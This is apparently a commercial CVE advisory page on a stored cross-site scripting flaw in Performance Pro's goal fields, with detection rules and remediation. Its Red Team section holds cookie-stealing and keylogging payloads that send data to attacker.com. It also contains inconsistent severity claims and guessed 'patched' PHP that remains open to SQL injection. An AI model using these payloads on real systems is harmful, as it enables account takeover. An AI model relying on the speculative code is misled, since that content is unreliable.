☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-60933

CVE-2025-60933 Cross-Site Scripting in Hr performance solutions
📅 PUBLISHED: 2025-10-21 00:00 UTC 🔄 UPDATED: 2026-08-18 17:13 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60933 is a critical stored cross-site scripting (XSS) vulnerability affecting HR Performance Solutions Performance Pro v3.19.17 and earlier versions. The vulnerability resides in the Future Goals function, where multiple input fields—Goal Name, Goal Notes, Action Step Name, Action Step Description, Note Name, and Goal Description—fail to properly sanitize user-supplied input. An authenticated attacker with low privileges can inject arbitrary web scripts or HTML, which are then stored and executed in the context of other users' browsers when they view the affected goals. This can lead to session hijacking, credential theft, or further compromise within the HR application. The vendor has released a patched version, PP-Release-6.3.2.0, which addresses the issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary web application. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a valid user account.
  • User Interaction (UI): Required (R) – Victim must view the malicious goal.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited data modification.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the sensitivity of HR data elevate the risk. An attacker can persistently target HR managers and employees.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Future Goals module of Performance Pro. The application stores user input from the following fields without proper encoding or validation:

  • Goal Name
  • Goal Notes
  • Action Step Name
  • Action Step Description
  • Note Name
  • Goal Description

When an administrator or another user views the goal (e.g., via the goal review or dashboard), the injected script executes in their browser. The attack flow is:

  1. Attacker logs in with low-privileged credentials.
  2. Attacker creates or edits a goal, injecting a malicious payload (e.g., <script>alert('XSS')</script>) into one of the vulnerable fields.
  3. The payload is stored in the database.
  4. When a victim (e.g., HR manager) navigates to the goal, the server returns the unescaped payload.
  5. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to phishing pages.

The patched version (PP-Release-6.3.2.0) likely implements output encoding (e.g., HTML entity encoding) and input validation to neutralize script tags.

Vulnerable vs. Patched Code

Vulnerable Code (v3.19.17):

// In goal_save.php or similar
$goal_name = $_POST['goal_name'];
// Directly stored without sanitization
$query = "INSERT INTO goals (name) VALUES ('$goal_name')";
mysqli_query($conn, $query);
<!-- In goal_view.php -->
<div class="goal-name"><?php echo $row['name']; ?></div>

Patched Code (v6.3.2.0):

// In goal_save.php
$goal_name = htmlspecialchars($_POST['goal_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO goals (name) VALUES ('$goal_name')";
mysqli_query($conn, $query);
<!-- In goal_view.php -->
<div class="goal-name"><?php echo htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8'); ?></div>

The patched version uses htmlspecialchars() to encode special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid low-privileged account on Performance Pro v3.19.17.
  • Access to the Future Goals module.

Exploit Steps:

  1. Log in to the application.
  2. Navigate to "Future Goals" and create a new goal.
  3. In the "Goal Name" field, inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the goal.
  5. Wait for an HR manager or admin to view the goal. The script will execute, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

  • Monitor web application logs for unusual input patterns in goal-related parameters (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block common XSS payloads in POST requests to goal creation/editing endpoints.
  • Deploy CSP headers to restrict script execution.

Hunting:

  • Search database for stored XSS patterns in goal fields.
  • Review HTTP Referer headers for unexpected outbound requests from the application.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains from the application server.
    • Suspicious parameters in POST requests to /goals/save or similar endpoints containing <script> tags.
  • Host:
    • Database entries in the goals table containing unescaped HTML/JavaScript.
    • Web server logs showing 200 responses to goal view pages with injected scripts.
  • File:
    • No file-based IOCs; this is a server-side stored XSS.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payloads {
    meta:
        description = "Detects common stored XSS payloads in web application logs or database dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60933"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Performance Pro Future Goals
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in Performance Pro goal fields
author: Valters IT
logsource:
    category: web
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'goal_name='
            - 'goal_notes='
            - 'action_step_name='
            - 'action_step_description='
            - 'note_name='
            - 'goal_description='
        cs-uri-query|re: '(<script|<img|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in goal descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60933 Stored XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/goals/save"; http_uri; pcre:"/(<script|<img|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to Performance Pro PP-Release-6.3.2.0 or later.
  2. Compensating Controls:
    • Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
    • Implement Content Security Policy (CSP) headers to restrict script execution.
    • Enforce input validation and output encoding on all user-supplied data.
  3. Long-term:
    • Conduct regular security code reviews and penetration testing.
    • Adopt a secure development lifecycle (SDLC) with automated SAST/DAST tools.
  4. Monitoring:
    • Review web server logs for signs of exploitation.
    • Monitor database for stored XSS patterns.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60933/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.